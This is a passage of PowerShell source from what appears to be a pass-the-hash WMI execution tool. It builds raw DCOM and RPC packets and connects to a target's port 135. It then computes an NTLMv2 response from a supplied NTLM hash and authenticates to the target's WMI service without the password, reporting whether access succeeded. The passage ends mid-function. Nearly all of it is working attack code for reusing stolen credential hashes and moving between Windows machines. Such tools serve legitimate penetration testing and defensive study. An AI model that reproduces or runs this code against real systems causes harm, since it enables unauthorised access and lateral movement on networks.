$packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid2",[Byte[]](0xab,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid3",[Byte[]](0xa5,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid4",[Byte[]](0xa6,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid5",[Byte[]](0xa4,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsIdPtrPropertyStructGuid6",[Byte[]](0xaa,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrMaxCount",[Byte[]](0x06,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize",[Byte[]](0x68,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize2",[Byte[]](0x58,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize3",[Byte[]](0x90,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize4",$packet_property_data_size) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize5",[Byte[]](0x20,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesClsSizesPtrPropertyDataSize6",[Byte[]](0x30,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPrivateHeader",[Byte[]](0x58,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesSessionID",[Byte[]](0xff,0xff,0xff,0xff)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesRemoteThisSessionID",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesClientImpersonating",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionIDPresent",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesDefaultAuthnLevel",[Byte[]](0x02,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesPartitionGuid",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesProcessRequestFlags",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesOriginalClassContext",[Byte[]](0x14,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesFlags",[Byte[]](0x02,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesReserved",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSpecialSystemPropertiesUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoPrivateHeader",[Byte[]](0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiatedObjectClsId",[Byte[]](0x5e,0xf0,0xc3,0x8b,0x6b,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoClassContext",[Byte[]](0x14,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoActivationFlags",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoFlagsSurrogate",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInterfaceIdCount",[Byte[]](0x01,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInfoInstantiationFlag",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtr",[Byte[]](0x00,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationEntirePropertySize",[Byte[]](0x58,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMajor",[Byte[]](0x05,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationVersionMinor",[Byte[]](0x07,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIds",[Byte[]](0x18,0xad,0x09,0xf3,0x6a,0xd8,0xd0,0x11,0xa0,0x75,0x00,0xc0,0x4f,0xb6,0x88,0x20)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesInstantiationInterfaceIdsUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoPrivateHeader",[Byte[]](0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientOk",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoReserved3",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextUnknown",[Byte[]](0x60,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextCntData",[Byte[]](0x60,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFSignature",[Byte[]](0x4d,0x45,0x4f,0x57)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFFlags",[Byte[]](0x04,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFIID",[Byte[]](0xc0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCLSID",[Byte[]](0x3b,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFCBExtension",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoClientPtrClientContextOBJREFCUSTOMOBJREFSize",[Byte[]](0x30,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesActivationContextInfoUnusedBuffer",[Byte[]](0x01,0x00,0x01,0x00,0x63,0x2c,0x80,0x2a,0xa5,0xd2,0xaf,0xdd,0x4d,0xc4,0xbb,0x37,0x4d,0x37,0x76,0xd7,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoPrivateHeader",$packet_private_header) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoAuthenticationFlags",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameReferentID",[Byte[]](0x04,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoReserved2",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameMaxCount",$packet_target_length) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameOffset",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameActualCount",$packet_target_length) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesSecurityInfoServerInfoServerInfoNameString",$packet_target_unicode) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoPrivateHeader",[Byte[]](0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoProcessID",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoApartmentID",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesLocationInfoContextID",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoCommonHeader",[Byte[]](0x01,0x10,0x08,0x00,0xcc,0xcc,0xcc,0xcc)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoPrivateHeader",[Byte[]](0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoNULLPtr",[Byte[]](0x00,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrReferentID",[Byte[]](0x00,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestClientImpersonationLevel",[Byte[]](0x02,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestNumProtocolSequences",[Byte[]](0x01,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestUnknown",[Byte[]](0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrReferentID",[Byte[]](0x04,0x00,0x02,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrMaxCount",[Byte[]](0x01,0x00,0x00,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoRemoteRequestPtrRemoteRequestProtocolSeqsArrayPtrProtocolSeq",[Byte[]](0x07,0x00)) $packet_DCOMRemoteCreateInstance.Add("IActPropertiesCUSTOMOBJREFIActPropertiesPropertiesScmRequestInfoUnusedBuffer",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00)) return $packet_DCOMRemoteCreateInstance } function Get-UInt16DataLength { param ([Int]$Start,[Byte[]]$Data) $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) return $data_length } if($hash -like "*:*") { $hash = $hash.SubString(($hash.IndexOf(":") + 1),32) } if($Domain) { $output_username = $Domain + "\" + $Username } else { $output_username = $Username } if($Target -eq 'localhost') { $Target = "127.0.0.1" } try { $target_type = [IPAddress]$Target $target_short = $target_long = $Target } catch { $target_long = $Target if($Target -like "*.*") { $target_short_index = $Target.IndexOf(".") $target_short = $Target.Substring(0,$target_short_index) } else { $target_short = $Target } } $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) $process_ID = $process_ID -replace "-00-00","" [Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} Write-Verbose "Connecting to $Target`:135" $WMI_client_init = New-Object System.Net.Sockets.TCPClient $WMI_client_init.Client.ReceiveTimeout = 30000 try { $WMI_client_init.Connect($Target,"135") } catch { Write-Output "[-] $Target did not respond" } if($WMI_client_init.Connected) { $WMI_client_stream_init = $WMI_client_init.GetStream() $WMI_client_receive = New-Object System.Byte[] 2048 $RPC_UUID = 0xc4,0xfe,0xfc,0x99,0x60,0x52,0x1b,0x10,0xbb,0xcb,0x00,0xaa,0x00,0x21,0x34,0x7a $packet_RPC = New-PacketRPCBind 2 0xd0,0x16 0x02 0x00,0x00 $RPC_UUID 0x00,0x00 $packet_RPC["FragLength"] = 0x74,0x00 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_stream_init.Flush() $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $assoc_group = $WMI_client_receive[20..23] $packet_RPC = New-PacketRPCRequest 0x03 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x05,0x00 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream_init.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_stream_init.Flush() $WMI_client_stream_init.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $WMI_hostname_unicode = $WMI_client_receive[42..$WMI_client_receive.Length] $WMI_hostname = [System.BitConverter]::ToString($WMI_hostname_unicode) $WMI_hostname_index = $WMI_hostname.IndexOf("-00-00-00") $WMI_hostname = $WMI_hostname.SubString(0,$WMI_hostname_index) $WMI_hostname = $WMI_hostname -replace "-00","" $WMI_hostname = $WMI_hostname.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $WMI_hostname = New-Object System.String ($WMI_hostname,0,$WMI_hostname.Length) if($target_short -cne $WMI_hostname) { Write-Verbose "WMI reports target hostname as $WMI_hostname" $target_short = $WMI_hostname } $WMI_client_init.Close() $WMI_client_stream_init.Close() $WMI_client = New-Object System.Net.Sockets.TCPClient $WMI_client.Client.ReceiveTimeout = 30000 try { $WMI_client.Connect($target_long,"135") } catch { Write-Output "[-] $target_long did not respond" } if($WMI_client.Connected) { $WMI_client_stream = $WMI_client.GetStream() $RPC_UUID = 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46 $packet_RPC = New-PacketRPCBind 3 0xd0,0x16 0x01 0x01,0x00 $RPC_UUID 0x00,0x00 $packet_RPC["FragLength"] = 0x78,0x00 $packet_RPC["AuthLength"] = 0x28,0x00 $packet_RPC["NegotiateFlags"] = 0x07,0x82,0x08,0xa2 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_stream.Flush() $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null $assoc_group = $WMI_client_receive[20..23] $WMI_NTLMSSP = [System.BitConverter]::ToString($WMI_client_receive) $WMI_NTLMSSP = $WMI_NTLMSSP -replace "-","" $WMI_NTLMSSP_index = $WMI_NTLMSSP.IndexOf("4E544C4D53535000") $WMI_NTLMSSP_bytes_index = $WMI_NTLMSSP_index / 2 $WMI_domain_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 12) $WMI_client_receive $WMI_target_length = Get-UInt16DataLength ($WMI_NTLMSSP_bytes_index + 40) $WMI_client_receive $WMI_session_ID = $WMI_client_receive[44..51] $WMI_NTLM_challenge = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 24)..($WMI_NTLMSSP_bytes_index + 31)] $WMI_target_details = $WMI_client_receive[($WMI_NTLMSSP_bytes_index + 56 + $WMI_domain_length)..($WMI_NTLMSSP_bytes_index + 55 + $WMI_domain_length + $WMI_target_length)] $WMI_target_time_bytes = $WMI_target_details[($WMI_target_details.Length - 12)..($WMI_target_details.Length - 5)] $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $auth_hostname = (get-childitem -path env:computername).Value $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) $auth_domain = $Domain $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_domain) $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length)[0,1] $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length)[0,1] $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length)[0,1] $auth_domain_offset = 0x40,0x00,0x00,0x00 $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 $HMAC_MD5.key = $NTLM_hash_bytes $username_and_target = $username.ToUpper() $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) $username_and_target_bytes += $auth_domain_bytes $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $security_blob_bytes = 0x01,0x01,0x00,0x00, 0x00,0x00,0x00,0x00 + $WMI_target_time_bytes + $client_challenge_bytes + 0x00,0x00,0x00,0x00 + $WMI_target_details + 0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00 $server_challenge_and_security_blob_bytes = $WMI_NTLM_challenge + $security_blob_bytes $HMAC_MD5.key = $NTLMv2_hash $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) $NTLMv2_response = $NTLMv2_response + $security_blob_bytes $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length)[0,1] $WMI_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) $WMI_session_key_length = 0x00,0x00 $WMI_negotiate_flags = 0x15,0x82,0x88,0xa2 $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, 0x03,0x00,0x00,0x00, 0x18,0x00, 0x18,0x00 + $auth_LM_offset + $NTLMv2_response_length + $NTLMv2_response_length + $auth_NTLM_offset + $auth_domain_length + $auth_domain_length + $auth_domain_offset + $auth_username_length + $auth_username_length + $auth_username_offset + $auth_hostname_length + $auth_hostname_length + $auth_hostname_offset + $WMI_session_key_length + $WMI_session_key_length + $WMI_session_key_offset + $WMI_negotiate_flags + $auth_domain_bytes + $auth_username_bytes + $auth_hostname_bytes + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + $NTLMv2_response $assoc_group = $WMI_client_receive[20..23] $packet_RPC = New-PacketRPCAUTH3 $NTLMSSP_response $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_stream.Flush() $causality_ID = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) [Byte[]]$causality_ID_bytes = $causality_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $unused_buffer = [String](1..16 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) [Byte[]]$unused_buffer_bytes = $unused_buffer.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $packet_DCOM_remote_create_instance = New-PacketDCOMRemoteCreateInstance $causality_ID_bytes $target_short $DCOM_remote_create_instance = ConvertFrom-PacketOrderedDictionary $packet_DCOM_remote_create_instance $packet_RPC = New-PacketRPCRequest 0x03 $DCOM_remote_create_instance.Length 0 0 0x03,0x00,0x00,0x00 0x01,0x00 0x04,0x00 $RPC = ConvertFrom-PacketOrderedDictionary $packet_RPC $WMI_client_send = $RPC + $DCOM_remote_create_instance $WMI_client_stream.Write($WMI_client_send,0,$WMI_client_send.Length) > $null $WMI_client_stream.Flush() $WMI_client_stream.Read($WMI_client_receive,0,$WMI_client_receive.Length) > $null if($WMI_client_receive[2] -eq 3 -and [System.BitConverter]::ToString($WMI_client_receive[24..27]) -eq '05-00-00-00') { Write-Output "[-] $output_username WMI access denied on $target_long" } elseif($WMI_client_receive[2] -eq 3) { $error_code = [System.BitConverter]::ToString($WMI_client_receive[27..24]) $error_code = $error_code -replace "-","" Write-Output "[-] Error code 0x$error_code" } elseif($WMI_client_receive[2] -eq 2 -and !$WMI_execute) { Write-Output "[+] $output_username accessed WMI on $target_long" } elseif($WMI_client_receive[2] -eq 2) { Write-Verbose "[+] $output_username accessed WMI on $target_long" if($target_short -eq '127.0.0.1') { $target_short = $auth_hostname } $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + "[") $target_search = [System.BitConverter]::ToString($target_unicode) $target_search = $target_search -replace "-","" $WMI_message = [System.BitConverter]::ToString($WMI_client_receive) $WMI_message = $WMI_message -replace "-","" $target_index = $WMI_message.IndexOf($target_search) if($target_index -lt 1) { $target_address_list = [System.Net.Dns]::GetHostEntry($target_long).AddressList ForEach($IP_address in $target_address_list) { $target_short = $IP_address.IPAddressToString $target_unicode = 0x07,0x00 + [System.Text.Encoding]::Unicode.GetBytes($target_short + "[") $target_search = [System.BitConverter]::ToString($target_unicode) $target_search = $target_search -replace "-","" 